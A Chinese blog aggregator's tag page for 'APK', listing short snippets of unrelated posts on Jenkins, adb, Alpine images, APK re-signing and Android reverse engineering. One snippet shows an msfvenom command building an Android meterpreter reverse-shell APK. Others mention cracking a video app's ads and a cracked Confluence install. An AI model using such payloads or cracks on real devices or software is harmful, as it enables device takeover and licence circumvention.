首页 > TAG信息列表 > APK

Jenkins自由风格项目构建

一、创建job 在Dashboard中新建job: 输入任务名:  下面可以选择其中的一种用来构建项目比如第一个自由风格的软件项目。 二、项目配置 当选择第一个自由风格构建项目后,构建项目分成下面几部分: General 源码管理 构建触发器 构建环境 构建 构建后操作 1、General 包含很多项目

appium安装apk包,返回package、activity

from appium import webdriver def get_app_info(apk): """   dinghanhua 2022-09 :param apk_path: apk路径,不要包含中文 :return: package,activity """ desired_caps = dict() desired_caps['platformName'] =

2022网鼎杯青龙组Reverse进行中

2022网鼎杯青龙组Reverse re696复现 安卓的逆向分析,写个文章来总结一下这一个现代题apk的一个流程 拖入jeb,可以发现MainActivity并没有什么代码 这时候应该想的是在apk文件中哪一个文件来操控着apk文件代码段 于是开始网上查找 发现dex是apk的核心代码文件 apk能正常运行 说明dex

修改Android apk的二进制文件AndroidManifest.xml,并重新签名打包apk

最近使用uni-app混合式框架开发一个App,需要把Android App 隐藏图标并隐式启动。有三种方案: 1. 使用uni-app离线打包。2. 在不改源码的情况下,只修改apk的二进制文件AndroidManifest.xml,并重新签名打包apk。3. 对apk进行反编译,回编译再重新签名打包。 说明:本文选择方案2,使用《Androi

创建镜像(alpine版)+alpine

目录podman用脚本和dockerfile做apache编译安装镜像1.0安装介质2.0 特点2.0 基础命令3.0 模式 podman用脚本和dockerfile做apache编译安装镜像 [root@localhost ~]# mkdir httpd [root@localhost ~]# cd httpd/ [root@localhost httpd]# touch Dockerfile [root@localhost htt

alpine

目录Alpine Linux介绍Alpine的优点Alpine常用命令 Alpine Linux介绍 alpine是一个轻量级的Linux发行版本,轻量级不仅体现在其占用空间的大小,还因为他没有图形化界面,只有命令行界面。 这个发行版本与我们常见的发现版本不同,其他版版本基本在安装完基本配置之后就可以使用了,而且基本

podman用脚本和dockerfile做apache编译安装镜像(alpine版)

podman用脚本和dockerfile做apache编译安装镜像(alpine版) alpine系统是什么 Alpine Linux 是一个基于 musl libc 和 busybox 的面向安全的轻量级 Linux 发行版。 alpine系统的特点 小巧:基于Musl libc和busybox,和busybox一样小巧,最小的Docker镜像只有5MB; 安全:面向安全的轻量发行版;

alpine系统

alpine系统 目录alpine系统alpine系统是什么alpine系统的特点alpine镜像下载alpine国内源alpine基础命令服务管理关闭系统 alpine系统是什么 Alpine Linux 是一个基于 musl libc 和 busybox 的面向安全的轻量级 Linux 发行版。 alpine系统的特点 小巧:基于Musl libc和busybox,和bu

msf攻击android

msf攻击android[1] 1.msf生成android apk文件 msfvenom -p android/meterpreter/reverse_tcp lhost=<ip地址> lport=<端口> R > test.apk -p android/meterpreter/reverse_top : 表示从android设备返回一个反向连接的meterpreter通道; R:直接输出(虽然android程序用java编写,但是不

【Push Kit】有没有接口可以获取手机安装的HMS core apk版本

​问题描述: 希望在代码中能够获取到HMS Core APK的版本,方便获取到线上信息,帮助定位错误   解决办法: //方法一:返回int 如:660312 int hmsVersionCode = HMSPackageManager.getInstance(this).getHmsVersionCode(); //方法二:返回string 如:6.6.0.312 try { PackageManager pm =

简单的apk逆向

题目 文件 流程 这是我第一次做安卓逆向的题,以前只写过安卓,今天试着拆一下安卓的包-_- 1. 先把扩展名改成zip用解压软件打开看看内部结构 2. 哎!发现里面还有一个安装包,拖出来看看 3. 花不少时间找了一下,发现一无所获,然后我又发现下面有一个大小不对劲的文件,拖出来把扩

消息中间件系列---【使用密码方式SASL_PLAINTEXT连接Kafka时在docker中无法启动的问题】

1.前言   当你读到这篇文章的时候,想必也被这个问题折磨了好久,同时我敢肯定的是,你也一定是内网开发,我甚至连镜像源都没有,只能一个一个下载,手动安装,但是再大的困难,只要遇到了执着的我们,便都能得到解决。 2.问题描述   项目测试环境是使用docker部署的,jdk采用的是openjdk,当kafka

Android修改编译的APK名称

方法一: 在对应module文件夹(比如app)下的build.gradle文件中增加如下代码 applicationVariants.all { variant -> variant.outputs.all { //project.name outputFileName = rootProject.name + "szl.apk" } }   方法二: 关闭工

Xamarin Android 打包发布流程

安卓项目上右键存档    APK 会自动打包。    打包完毕后点击右下角分发   点击临时    签名标识点加号    红色的部分都是必填。   填完后点击创建       选择签名标识后,另存为        选择APK存放位置后,会对APK进行签名。    签名过程中会弹出要求输

【精品分享】某视频app的逆向初体验

一、前言最近发现一款视频神器,界面精良,海量资源,高清免费,播放速度快,某二级页面如下: jzkubF.png 唯一不足的是播放前需要先观看广告,毕竟开发不易,但是我们可以尝试着破解一下,方便自己的同时熟悉下逆向方面的知识。 二、破解条件将apk在jadx中打开发现没有进行加固,可以用本文的方式进

INSTALL_FAILED_TEST_ONLY的原因

原因: Android Studio 3.0会在debug apk的manifest文件application标签里自动添加android:testOnly="true"属性,导致IDE中run跑出的apk在大部分手机上只能用adb install -t来安装。 解决方法一: 在项目中的gradle.properties全局配置中设置: android.injected.testOnly=false 解决方

adb常用命令

# 检查设备连接情况 adb devices # 连接指定设备 adb connect 设备码 # 断开指定设备 adb disconnect 设备码 # 覆盖安装 adb install -r <安装文件> # 卸载 adb uninstall 包名 # 获取包名 # 解析apk文件获取包名 aapk dump badging apk文件 例:aapk dump

反编译APK 以及编译高版本签名

apktool d xj.apk apktool b xj --use-aapt2 jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore wsmud.jks -signedjar xj_s.apk xj.apk wsmud zipalign -v 4 xj_s.apk xj_zip.apk apksigner sign --ks wsmud.jks --ks-key-alias wsmud --ks-pass pass:xxx

Maui发布APK(测试下什么条件决定安装是否成功)

1、配置选Release,生成项目,等着吧三五分钟 2、因为默认的安卓安装包后缀名为abb,好像是鸿蒙的,需要修改为APK,右键项目编辑项目文件,,加一行    <AndroidPackageFormat>apk</AndroidPackageFormat>         3、打包项目 4、发布项目       5、发布完成后,点分发      

gitlab-CICD共享runner基本配置

gitlab-CICD共享runner基本配置 使用docker部署runner 多个项目使用共享runner 部署机器与runner不在同一台服务器上(使用ssh部署) 部署runner 部署镜像 docker pull gitlab/gitlab-runner:latest docker run -d --name gitlab-runner-shared \ --restart always \ -v

adb常用命令

一,adb push (PC到Android设备)1,通过adb 连接(WiFi连接或者数据线连接)Android设备2,PC端进入命令窗口(win +R 组合键后,输入cmd)3,adb push C:\Users\Administrator\Desktop\test.jpg sdcard    注:C:\Users\Administrator\Desktop\test.jpg是PC端文件存放路径;sdcard  是Android设备存

jenkins Android打包shell脚本解析

#!/bin/bash workspace=$1   # 在打包节点中配置的远程工作目录 路径:对应节点-配置从节点-远程工作目录 buildNumber=$2   # 打包number(外显在jenkins列表中的数) buildType=$3   # 打包类型 version=$4   # APP版本 branch=$   # 打包分支 versionCode=$6   # 代码

adb下载和命令

adb下载:https://adbshell.com/downloads adb命令:adb链接设备,设备要开启开发者模式,一、查看链接的设备: adb devices 进入该设备的shell环境:adb -s (设备标识) shell (若只有一台设备,可直接 adb shell)退出shell环境:exit 查看应用列表:查看所有应用列表:adb shell pm list packages查看系

apk安装到系统文件夹

一、通过adb、shell、su命令将apk存放到系统文件夹。 1、连接同一wifi后执行:adb connect 192.168.***.***:5555。其中***替换成你的wifi的连接地址。 2、上传要安装的apk到公共目录:adb push ***.apk /stroage/sdcard0/     //***替换为你的apk的完整路径。其中“/stroage/sdcar

Confluence预览中文附件出现乱码

转载自:https://blog.51cto.com/u_13776519/5329428 背景介绍: 1.使用docker方式安装运行的Confluence 2.进行了破解,使用外置数据库 3.docker启动命令中会把容器存储目录挂载到宿主机中 因此,如下的操作并不是在Confluence所在主机上进行,而是需要进入到Confluence容器中操作 docker e